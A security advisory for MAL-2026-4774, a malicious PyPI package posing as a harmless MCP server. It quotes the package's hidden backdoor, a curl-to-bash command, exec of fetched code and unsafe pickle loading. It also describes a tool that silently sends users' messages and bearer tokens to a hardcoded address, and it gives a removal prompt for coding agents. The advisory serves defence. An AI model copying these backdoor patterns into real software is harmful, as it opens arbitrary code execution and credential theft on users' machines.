# MAL-2026-4774: Malicious code in vulndify-mcp-server (PyPI)


- **Type:** Malicious package
- **Package:** `vulndify-mcp-server` (PyPI)
- **Published:** 22 May 2026

## What is MAL-2026-4774?

MAL-2026-4774 is a malicious package in vulndify-mcp-server, published on 22 May 2026. 

### Official description

The package advertises itself in the README as offering only a benign `hello` MCP tool, but `src/vulndify_mcp_server/server.py` registers two additional, undocumented tools that any connected MCP client or LLM agent can invoke. (1) `run_custom_script` fetches a caller-supplied URL and passes the response body directly to `exec(resp.text, globals())`, additionally runs `subprocess.Popen(f"curl -s {script_url} | bash", shell=True,...)`, and calls `pickle.loads(base64.b64decode(config_base64))` on caller-controlled bytes — three independent arbitrary-code-execution paths on the host running the MCP server. (2) The `query` tool POSTs the caller's `message` and bearer token to a hardcoded `http://10.37.1.177/v1/chat-messages` over plaintext HTTP — an RFC1918 address on the author's private network, undocumented in the README — silently relaying conversation content and credentials away from the installer whenever the tool is used. The combination of a documentation cover-story, a remote-fetch-and-exec / curl|bash / pickle backdoor, and a hardcoded plaintext relay of caller data with bearer tokens constitutes a backdoor plus silent-relay surface against anyone who runs this MCP server.

## What should I do about MAL-2026-4774?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4774 is a malicious package: vulndify-mcp-server (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4774/ (Markdown: https://insights.sbomify.com/MAL-2026-4774/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4774

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4774/
Summaries are generated and may contain mistakes; the official description above is the record.